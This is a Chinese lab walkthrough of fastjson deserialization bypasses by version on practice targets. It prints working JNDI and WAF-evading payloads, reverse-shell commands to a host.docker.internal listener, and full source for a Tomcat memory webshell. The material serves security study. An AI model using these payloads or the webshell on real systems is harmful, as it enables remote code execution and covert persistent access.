fastjson 各版本漏洞分析

Fastjson 是阿里开源的高性能 JSON 解析库,在国内 Java 项目里用得非常多。它早期为了实现「按需还原对象类型」引入了 AutoType 机制,反而把自己变成了反序列化漏洞的重灾区。官方这些年一直靠黑名单打补丁,但绕过手法层出不穷,从 1.2.24 一路打到 1.2.68 之后,中间几乎每个版本都能找到对应的绕过姿势。

这篇文章按版本顺序把我复现过的靶场过一遍,每个版本记三件事:官方补了什么、怎么绕的、payload 长什么样。

环境用的是 FastJsonParty 和 vulhub:

后面 payload 里的地址统一写 host.docker.internal(Docker Desktop 里指向宿主机)。如果你用 OrbStack,对应的域名是 host.orb.internal——本文 1.2.47 的 waf 版那节就是 OrbStack 环境下抓的图,payload 里写的是这个。


漏洞成因:@type、AutoType 与 checkAutoType

Fastjson 反序列化漏洞建立在两个特性上:

  1. @type 字段。JSON 本身没有类型概念,fastjson 用 @type 来指定这段数据要还原成哪个类。
  2. 自动调用方法。还原对象时,fastjson 会自动调用目标类的构造函数、setter、getter。只要这条路径上有「参数可控 + 危险操作」的方法,就能完成利用。

所以利用思路非常直接:在 @type 里填一个「反序列化过程中会干坏事」的类。最经典的两个是:

  • com.sun.rowset.JdbcRowSetImpl:setter 里会发起 JNDI 查询,配合 LDAP/RMI 打远程类加载。
  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl:_bytecodes 里的字节码会被 defineClass 并实例化,等于直接执行任意字节码(需要开启 Feature.SupportNonPublicField)。

官方的防线是一层层加上去的,先把这条主线理清楚,后面的版本就好懂了:

版本关键变化对应的绕过
≤ 1.2.24没有任何校验直接指定任意危险类
1.2.25引入 checkAutoType,新增 autoTypeSupport 开关(默认关闭)L...;
1.2.42黑名单改成 hash 比对,checkAutoType 里处理 L...;LL...;; 双写
1.2.43类名以 LL 开头直接抛异常[ 数组描述符
1.2.44 ~ 1.2.45补齐黑名单换不在黑名单里的第三方依赖类
1.2.47——用 java.lang.Class 给 mappings 缓存投毒(1.2.48 修复)
1.2.68引入 SafeMode,收紧 checkAutoTypeexpectClass 通道 + JDBC 链
1.2.69AutoCloseable / Runnable / Readable 加入黑名单上面那条 JDBC 链失效
1.2.83默认开启 SafeMode1.x 的最后一个版本

有两点要先记着,后面反复会用到:

  • 1.2.25 ~ 1.2.45 这一段的绕过,共同前提是目标把 autoTypeSupport 打开了。 这个开关默认是 false,正常项目不会去动它,但确实有业务为了兼容老代码手动开过。
  • 这些绕过看着花样很多,根子上是同一件事:checkAutoType 校验的类名,和 TypeUtils.loadClass 实际加载的类名,不是同一个字符串。 只要能让两者对不上,黑名单就形同虚设。L;、LL;;、[ 全都是在利用这个差异。

fastjson <= 1.2.24

漏洞原因

1.2.24 及以前还没有 checkAutoType,@type 里写什么就加载什么,没有任何校验。利用方式主要两条。

1. TemplatesImpl

利用点在 TemplatesImpl 的两个 private 字段:_bytecodes(字节码)和 _outputProperties。fastjson 给它赋值时会走到 getOutputProperties(),进而对 _bytecodes 里的字节码做 defineClass 并实例化。

代价是这两个字段都是 private,得先让 fastjson 去写私有字段,也就是解析时带上 Feature.SupportNonPublicField:

JSON.parseObject(payload, Feature.SupportNonPublicField);

现实里后端很少这么写,所以这条链看着漂亮,实战中反而不太用得上——除非是不出网环境下配合二次反序列化,那时候它是主力(1.2.47-waf-c3p0 那节会用到)。

2. JdbcRowSetImpl + JNDI

这条链没有额外限制,也是本文用得最多的:

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://<攻击机>:1389/exploit",
  "autoCommit": true
}

dataSourceName 被 set 进去,autoCommit 被 set 时会触发 connect(),connect() 里对 dataSourceName 做 lookup()。JNDI 会去 LDAP/RMI 服务器取一个 Reference,再按 Reference 的指示远程加载 class 并实例化,恶意类的 static{} 静态代码块随之执行,RCE。

漏洞复现

环境用 vulhub。

第一步:DNSLog 探测出网和漏洞存在

POST / HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/json

{"a":{"@type":"java.net.Inet4Address","val":"hwu92a.dnslog.cn"}}

Inet4Address 反序列化时会去解析 val 里的域名,只要目标出网,DNSLog 上就能收到记录。

Pasted image 20261001145858.png

第二步:起恶意的 LDAP/RMI 服务

先准备反弹 shell 的命令:

echo -n 'bash -i >& /dev/tcp/host.docker.internal/4444 0>&1' | base64

然后起 JNDI-Injection-Exploit。它会在 1389 端口同时起 RMI 和 LDAP 服务,并自己开一个 HTTP 服务来提供 class 文件下载,不需要我们再手动 javac 编译恶意类、再丢到 Web 目录下:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
  -C "bash -c {echo,<上一步输出的 base64>}|{base64,-d}|{bash,-i}" \
  -A host.docker.internal

-A 填的是「目标机器能访问到的攻击机地址」。靶场跑在 docker 里、攻击机在宿主机上,所以这里写 host.docker.internal;真实环境换成攻击机的 IP。

JNDI 这条链受 JDK 版本限制:JDK 8u191 之后 com.sun.jndi.ldap.object.trustURLCodebase 默认为 false,远程加载 class 这条路就走不通了。JNDI-Injection-Exploit 起服务时会顺带打印几种 bypass 的 payload(比如借助目标本地已有的 Tomcat BeanFactory 配合 EL 表达式),能不能打起来取决于目标的 JDK 版本和依赖,这里不展开。

第三步:Burp 发包

POST / HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/json

{
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://host.docker.internal:1389/5f3wqa",
    "autoCommit": true
  }
}

收到 shell:

Pasted image 20261001161444.png

利用链总结

1.2.24 及以前完全没有 AutoType 黑名单,@type 里可以随便指定 com.sun.rowset.JdbcRowSetImpl 这类危险类:

@type: JdbcRowSetImpl
→ setDataSourceName("ldap://攻击机/Exploit")
→ setAutoCommit(true)
→ 触发 connect()
→ JNDI lookup
→ 加载远程恶意 class
→ 执行 static{} 静态代码块
→ RCE

注意字段顺序:@type 后面的字段是按 JSON 里的顺序逐个赋值的,所以 dataSourceName 必须写在 autoCommit 前面,否则 connect() 触发时地址还没赋上。


1.2.25 ~ 1.2.41:L…; 绕过

漏洞原因

从 1.2.25 开始,fastjson 引入了 checkAutoType,并新增了 autoTypeSupport 开关,默认是 false:

// 不开这个开关,@type 直接报 "autoType is not support"
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

所以这一段(一直到 1.2.45)的绕过,前提都是目标手动把 autoTypeSupport 打开了。开启之后流程变成:

@type → checkAutoType(className)
      → 查黑名单 / 白名单
      → 通过后再交给 TypeUtils.loadClass(className)

问题出在:checkAutoType 查黑名单用的是原始的类名字符串,而 TypeUtils.loadClass 会对类名做额外处理——以 L 开头、以 ; 结尾的字符串会被当成 JVM 的类描述符(比如 Ljava.lang.String;),剥掉首尾再加载。

于是只要把类名包一层:

{
  "b": {
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

checkAutoType 拿到的是 Lcom.sun.rowset.JdbcRowSetImpl;,跟黑名单里的 com.sun.rowset.JdbcRowSetImpl 对不上,放行;loadClass 再把它剥成 com.sun.rowset.JdbcRowSetImpl 去加载。同一份数据,两处代码看到的是两个不同的类名。

顺带一提,loadClass 除了处理 L 和 ;,还处理以 [ 开头的数组描述符,这个特性到 1.2.43 会被翻出来用。

漏洞复现

在 @type 指定的类名外面套一层 L...; 即可,payload 见上。

利用链总结

Lcom.sun.rowset.JdbcRowSetImpl; 让黑名单匹配失败,后端 TypeUtils.loadClass 去掉 L 和 ; 完成真实类加载,从而绕过防护。修复方式就是在 checkAutoType 里也做一次相同的剥离,也就是下一节的 1.2.42。


1.2.42:LL…;; 双写

1.2.42 针对 1.2.25 ~ 1.2.41 的 L...; 做了三件事:

  • 黑名单从明文字符串改成 hash 比对,避免黑名单字符串本身成为特征;
  • 在 checkAutoType 里增加了对 L...; 的判断;
  • 如果类名以 L 开头、以 ; 结尾,就先截取中间部分,再拿去校验。

也就是说,原来攻击者传:

"@type": "Lcom.sun.rowset.JdbcRowSetImpl;"

1.2.42 会识别出这是 L...; 描述符,去掉首尾变成 com.sun.rowset.JdbcRowSetImpl,再进 hash 黑名单校验,于是命中,被拦住。

漏洞原因

但 1.2.42 只剥了一层。双写就能再让两边对不上一次:

"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;"
LLcom.sun.rowset.JdbcRowSetImpl;;
→ checkAutoType 剥掉一层 L/;,拿 Lcom.sun.rowset.JdbcRowSetImpl; 去比对 hash
→ 与 com.sun.rowset.JdbcRowSetImpl 对不上,黑名单未命中
→ 于是把原始的 LLcom.sun.rowset.JdbcRowSetImpl;; 交给 TypeUtils.loadClass
→ loadClass 是递归剥离的,剥两层拿到 com.sun.rowset.JdbcRowSetImpl
→ 加载成功 → RCE

本质还是那句话:checkAutoType 和 TypeUtils.loadClass 对类名的处理没有对齐——一个只剥一层,一个剥到干净为止。

漏洞复现

套两层 L; 即可:

{
  "b": {
    "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName": "ldap://localhost:1389/Exploit",
    "autoCommit": true
  }
}

这份 payload 在 1.2.42 上有效,到 1.2.43 就失效了。


1.2.43:[ 数组描述符与 [{ 畸形 JSON

1.2.43 补了一刀:类名以 LL 开头就直接抛异常,LL...;; 双写被堵死。

漏洞原因

前面提过,loadClass 除了特殊处理 L 和 ;,还会处理 [。[ 在 JVM 里是数组的类型描述符([Ljava.lang.String; 就是 String[]),而 fastjson 本身必须支持数组反序列化,所以不能简单把 [ 开头的类名全拉黑。1.2.43 只在 L; 那条路径上打了补丁(hash 校验查的是 LL),[ 这条路径一点没动。

于是 payload 变成这样:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}]}

这是一段刻意写坏的畸形 JSON:@type 的值后面直接跟一个 [{,正常 JSON 不该长这样。fastjson 的解析器对这种写法比较宽容,checkAutoType 拿到的类名是 [com.sun.rowset.JdbcRowSetImpl,不以 LL 开头,黑名单也没命中;到了 loadClass,[ 被识别成数组描述符剥掉,最终加载的仍然是被拉黑的 JdbcRowSetImpl。

漏洞复现

套一层 [,后面跟 [{:

{
  "b": {
    "@type": "[com.sun.rowset.JdbcRowSetImpl"[{
      "dataSourceName": "ldap://127.0.0.1:1389/Exploit",
      "autoCommit": true
    }]
  }
}

利用链总结

@type = [com.sun.rowset.JdbcRowSetImpl
→ checkAutoType 不拦 [ 开头(hash 校验只看 LL,黑名单也没命中)
→ TypeUtils.loadClass 识别 [ 为数组描述符
→ 去掉 [ 得到 com.sun.rowset.JdbcRowSetImpl
→ 加载 → 设置 dataSourceName、autoCommit
→ 触发 JNDI lookup → 远程加载恶意类 → RCE

L; 和 [ 走的是两条完全独立的代码分支,1.2.43 只修了前者。再加上补丁本身是「见招拆招」(看到 LL 就封 LL),而不是在类的加载出口统一校验最终类名,所以后面还会被绕。


1.2.44 ~ 1.2.45:换第三方依赖类(MyBatis)

1.2.44/1.2.45 把 L; 和 [ 这两条把 JdbcRowSetImpl 送进黑名单的路都堵了,只能换一个「不在黑名单里、但反序列化时会触发 JNDI」的类。这个版本的答案是 MyBatis 的 JndiDataSourceFactory。

漏洞原因

JndiDataSourceFactory 的 setProperties(Properties) 会从 properties 里读 data_source,拿到之后直接丢给 InitialContext.lookup(),也就是:

dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));

而 JndiDataSourceFactory 本身不在 fastjson 的黑名单里,能顺利通过 checkAutoType。于是 @type 指过去,properties.data_source 就是我们想让它 lookup 的地址。

漏洞复现

{
  "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
  "properties": {
    "data_source": "ldap://localhost:1389/badNameClass"
  }
}

前提有两条:目标 classpath 里确实有 mybatis,并且 autoTypeSupport 是开着的。

这类「换个第三方类继续打」的思路从 1.2.44 之后就一直是主线:黑名单永远是枚举,而 classpath 里的类枚举不完。


1.2.47:mappings 缓存投毒

漏洞原因

1.2.47 的绕过核心是缓存投毒。

fastjson 内部维护了一个全局的类缓存 TypeUtils.mappings(Map<String, Class<?>>,key 是类名,value 是加载好的 Class)。关键在于:checkAutoType 在黑名单校验之前会先查一遍这个缓存,一旦命中就直接返回,后面的黑白名单校验全都不走了。

而 java.lang.Class 的反序列化器是 MiscCodec,它会拿 val 里的字符串去调 TypeUtils.loadClass(name, classLoader, cache)——在 1.2.47 上这个 cache 默认是 true。也就是说,java.lang.Class 成了往缓存里写任意类的入口。

java.lang.Class 本身在 fastjson 的白名单里(ParserConfig.initDeserializers 里注册过),不受 checkAutoType 限制,所以这条路可用,而且不需要打开 autoTypeSupport。

利用方式就是:在同一次请求里,用一个字段把恶意类塞进缓存,用另一个字段把它从缓存里取出来用。

{
  "a": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://192.168.52.129:9999/rce_1_2_24_exploit",
    "autoCommit": true
  }
}

绕过流程

  1. 解析字段 a,@type 是 java.lang.Class。它在白名单里,checkAutoType 放行。
  2. java.lang.Class 由 MiscCodec 反序列化,MiscCodec 把 val 交给 TypeUtils.loadClass 去加载。
  3. 1.2.47 的 loadClass 默认 cache = true,com.sun.rowset.JdbcRowSetImpl 就这样被写进了全局缓存 mappings。
  4. 解析字段 b,@type 是 com.sun.rowset.JdbcRowSetImpl。checkAutoType 先查缓存,发现里面已经有了,直接返回缓存的 Class,黑白名单校验整个跳过。
  5. 后面就是老流程:设置 dataSourceName、autoCommit,触发 JNDI lookup,RCE。

这也是为什么 a 和 b 必须写在同一个 JSON 里——两个字段共享同一个全局缓存。补丁在 1.2.48:MiscCodec 里 java.lang.Class 加载完后不再往 mappings 里写。

漏洞复现

环境:https://github.com/lemono0/FastJsonParty/blob/main/1247-jndi/

第一步:先确认是 fastjson

故意发一个格式坏掉的 JSON:

POST /login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json; charset=UTF-8

{"@type": "java.lang.AutoCloseable"

如果后端把异常信息直接吐回来,报文里出现 fastjson 的 JSONException / syntax error 这类字样,基本就能确定解析器是 fastjson:

Pasted image 20261001193251.png

第二步:DNSLog 探测漏洞

POST /login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json; charset=UTF-8

{
  "@type": "java.net.Inet4Address",
  "val": "sckzwo.dnslog.cn"
}

收到请求,说明存在漏洞且目标出网:

Pasted image 20261001193425.png

第三步:探测 fastjson 精确版本

还是发一段不完整的 JSON,看响应里的报错:

POST /login HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json; charset=UTF-8

{
  "@type": "java.lang.AutoCloseable"
Pasted image 20261001193529.png

响应里直接带出了 fastjson-version 1.2.47。这是 FastJsonParty 靶场的全局异常处理器把 fastjson 版本拼进了 message,真实站点一般不会有这么体贴的字段。所以这种探测是有条件的:得目标回显报错信息。如果目标不回显,就只能靠 DNSLog、响应延时这类间接手段去猜版本,会麻烦不少。

读到 1.2.47 之后,思路就明确了:走 mappings 缓存投毒,用 java.lang.Class 投毒,再用 JdbcRowSetImpl 打 JNDI。前提仍然是目标机器出网。

第四步:打 JNDI

这个容器里没有 bash,所以 -C 里的命令改用 nc 反弹:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
  -C "nc host.docker.internal 4444 -e /bin/sh" \
  -A host.docker.internal
{
  "a": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://host.docker.internal:1389/5f3wqa",
    "autoCommit": true
  }
}

收到 shell:

Pasted image 20261001200749.png

waf 版

环境:https://github.com/lemono0/FastJsonParty/blob/main/1247-jndi-waf/

Pasted image 20261001201124.png

这个环境里加了一个很简单的 WAF,黑名单一共六个关键字:TemplatesImpl、dataSourceName、JdbcRowSetImpl、ldap:、rmi:、@type。代码逻辑是 Json.contains(blacklist),只要命中一个就返回 false 拦掉。

绕过

WAF 是对原始请求体做字符串匹配的,而 fastjson 在解析时会把 \uXXXX 转义还原成真正的字符。也就是说,WAF 看到的是满屏的 \u0040\u0074...,fastjson 看到的还是 @type。

把 payload 里的关键字全部 unicode 编码:

@type            → \u0040\u0074\u0079\u0070\u0065
java.lang.Class  → \u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073

完整 payload(dataSourceName 的值也编码了,因为黑名单里有 ldap:):

{
  "a": {
    "\u0040\u0074\u0079\u0070\u0065": "\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073",
    "\u0076\u0061\u006C": "\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C"
  },
  "b": {
    "\u0040\u0074\u0079\u0070\u0065": "\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C",
    "\u0064\u0061\u0074\u0061\u0053\u006F\u0075\u0072\u0063\u0065\u004E\u0061\u006D\u0065": "\u006C\u0064\u0061\u0070\u003A\u002F\u002F\u0068\u006F\u0073\u0074\u002E\u006F\u0072\u0062\u002E\u0069\u006E\u0074\u0065\u0072\u006E\u0061\u006C\u003A\u0031\u0033\u0038\u0039\u002F\u0075\u006C\u006B\u0061\u0074\u0068",
    "\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074": "\u0074\u0072\u0075\u0065"
  }
}

收到 shell:

Pasted image 20261001202128.png

Y4tacker 那篇《浅谈 Fastjson 绕 waf》里还整理了不少同类思路,遇到 WAF 可以挨个试:往 JSON 里塞多余的逗号、字段名不加引号、字段名用单引号、@type 后面值的第一个引号换成别的字符、\x 和 \u 混合编码等等。


1.2.47-waf-c3p0:不出网 + 内存马

环境:https://github.com/lemono0/FastJsonParty/blob/main/1247-waf-c3p0/

这个环境比较特殊:docker 起了两台机器,而靶机不出网。

先探版本:

{
  "@type": "java.lang.AutoCloseable"
Pasted image 20261001204903.png

爆出版本 1.2.47。这个版本及以下有 mappings 缓存通杀绕过,利用方式是 JNDI——但别忘了 JNDI 的利用是有条件的:

  1. 一般需要出网环境;
  2. 受 JDK 版本限制,JDK 8u191 之后 trustURLCodebase 默认为 false,远程加载 class 被禁(有绕过方法,但麻烦)。

这里靶机不出网,JNDI 就不合适了,得换路子。下一步是探测目标本地存在哪些依赖。

探测本地依赖:Character 报错法

fastjson 内部有一份基础类的缓存和反序列化器表(mappings + ParserConfig.initDeserializers),java.lang.Character 和 java.lang.Class 都在里面。@type 用这两个类时,fastjson 直接从缓存取出对应的反序列化器,根本不进 checkAutoType,也就谈不上黑名单校验。

探测 payload 的模板是这样,val 换成想探测的类名即可:

{
  "x": {
    "@type": "java.lang.Character"{
      "@type": "java.lang.Class",
      "val": "<要探测的类名>"
    }
  }
}

("java.lang.Character" 后面故意少一个逗号,这是这个探测 payload 的固定写法,照抄就行。)

具体流程:

  1. 先按 java.lang.Character 处理,拿到 CharacterCodec。它期望的是一个能转成 char 的值,比如 "a"。
  2. 紧接着第二个 @type 是 java.lang.Class,走 MiscCodec。MiscCodec 读取 val,交给 TypeUtils.loadClass 去加载。
  3. 加载成功会返回一个 Class 对象,然后 CharacterCodec 试图把这个 Class 转成 char,类型对不上,抛异常。

所以判断标准很清晰:

  • 返回 can not cast to char, value : class/interface xxx → val 里的类存在;
  • 返回 No message available(ClassNotFoundException 本身没有 message)→ 类不存在。

这样探测就变成了「拿一份已知利用链的依赖类清单挨个试」。

先确认是不是 SpringBoot 项目:

{
  "x": {
    "@type": "java.lang.Character"{
      "@type": "java.lang.Class",
      "val": "org.springframework.web.bind.annotation.RequestMapping"
    }
  }
}

RequestMapping 是 Spring 里的注解,报出类型转换错误说明这个类存在:

Pasted image 20261001205524.png

再换成 C3P0 的类试:

{
  "x": {
    "@type": "java.lang.Character"{
      "@type": "java.lang.Class",
      "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    }
  }
}

同样是 can not cast to char,说明目标里有 C3P0:

Pasted image 20261001212956.png

C3P0 二次反序列化

FastJson 结合 C3P0 有很多利用方式,其中被提得最多的是不出网利用:hex 编码的二次反序列化打内存马。

原理是 WrapperConnectionPoolDataSource 的 userOverridesAsString 字段支持 HexAsciiSerializedMap:<hex> 格式。C3P0 会把冒号后面的 hex 解成字节数组,再做一次 ObjectInputStream.readObject()——也就是在 fastjson 反序列化之外,又套了一层原生反序列化。

网上讲 C3P0 + FastJson 的文章基本都要求目标额外存在 CC 之类的反序列化链。其实不需要,因为 fastjson 全版本都存在原生反序列化利用链,而且是靠 TemplatesImpl 加载类,拿来打内存马正合适。

所以整条链是两层:外层用 1.2.47 的 mappings 缓存投毒把 WrapperConnectionPoolDataSource 送进去,内层是 C3P0 触发的原生反序列化,把 TemplatesImpl 里的内存马字节码加载起来。

制作内存马字节码

先直接找一个冰蝎内存马:Tomcat 的 Filter 型内存马。但直接拿来用是不行的:要用 TemplatesImpl 加载,恶意类必须继承 AbstractTranslet 并重写它的两个 transform 方法,否则类根本加载不了。

改造后的内存马 IceShell.java(它同时是一个 Tomcat Filter,static 代码块负责把 Filter 注册进 StandardContext,doFilter 里是冰蝎的解密和类加载逻辑):

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.misc.BASE64Decoder;

public class IceShell extends AbstractTranslet implements Filter {
    private final String pa = "3ad2fddfe8bad8e6";

    public IceShell() {
    }

    public void init(FilterConfig filterConfig) throws ServletException {
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        HttpSession session = request.getSession();
        Map<String, Object> pageContext = new HashMap();
        pageContext.put("session", session);
        pageContext.put("request", request);
        pageContext.put("response", response);
        ClassLoader cl = Thread.currentThread().getContextClassLoader();
        if (request.getMethod().equals("POST")) {
            Class Lclass;
            if (cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            } else {
                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
                this.RushThere(Lclass, cl, session, request, pageContext);
            }

            filterChain.doFilter(servletRequest, servletResponse);
        }

    }

    public void destroy() {
    }

    public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) {
        byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT");

        try {
            Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            define.setAccessible(true);
            Class uclass = null;

            try {
                uclass = cl.loadClass("U");
            } catch (ClassNotFoundException var18) {
                uclass = (Class)define.invoke(cl, bytecode, 0, bytecode.length);
            }

            Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class);
            constructor.setAccessible(true);
            Object u = constructor.newInstance(this.getClass().getClassLoader());
            Method Um = uclass.getDeclaredMethod("g", byte[].class);
            Um.setAccessible(true);
            String k = "3ad2fddfe8bad8e6";
            session.setAttribute("u", k);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
            byte[] eClassBytes = c.doFinal((new BASE64Decoder()).decodeBuffer(request.getReader().readLine()));
            Class eclass = (Class)Um.invoke(u, eClassBytes);
            Object a = eclass.newInstance();
            Method b = eclass.getDeclaredMethod("equals", Object.class);
            b.setAccessible(true);
            b.invoke(a, pageContext);
        } catch (Exception var19) {
        }

    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    static {
        try {
            String name = "AutomneGreet";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map)Configs.get(standardContext);
            if (filterConfigs.get("AutomneGreet") == null) {
                Filter filter = new IceShell();
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName("AutomneGreet");
                filterDef.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(filterDef);
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/shell");
                filterMap.setFilterName("AutomneGreet");
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(filterMap);
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)constructor.newInstance(standardContext, filterDef);
                filterConfigs.put("AutomneGreet", filterConfig);
            }
        } catch (Exception var10) {
        }

    }
}

1. 先把容器的依赖拷出来

进容器看看:

docker exec -it 4b89ee3403fb /bin/sh

Spring Boot 的 fat jar 结构是这样的:

app.jar
├── META-INF/
├── org/springframework/boot/loader/   ← Spring Boot 启动器
└── BOOT-INF/
    ├── classes/                        ← 业务代码
    └── lib/                            ← 所有第三方依赖 jar
        ├── fastjson-1.2.47.jar
        ├── c3p0-0.9.5.4.jar
        └── ...

列出 jar 里的依赖:

jar tf app.jar | grep "BOOT-INF/lib" | grep -iE "fastjson|c3p0|tomcat"

BOOT-INF/lib/fastjson-1.2.47.jar
BOOT-INF/lib/c3p0-0.9.5.4.jar
BOOT-INF/lib/spring-boot-starter-tomcat-2.2.7.RELEASE.jar
BOOT-INF/lib/tomcat-embed-core-9.0.34.jar
BOOT-INF/lib/tomcat-embed-el-9.0.34.jar
BOOT-INF/lib/tomcat-embed-websocket-9.0.34.jar

果真有 c3p0,Tomcat 是 9。

直接把容器里的依赖拷下来编译,这样拿到的 jar 版本和靶场完全一致,生成 payload 时不会出现版本差异问题:

# 在容器里解压 app.jar 的 BOOT-INF/lib 到 /tmp
docker exec 4b89ee3403fb sh -c "cd /tmp && mkdir -p lib && cd lib && jar xf /var/app/app.jar BOOT-INF/lib"

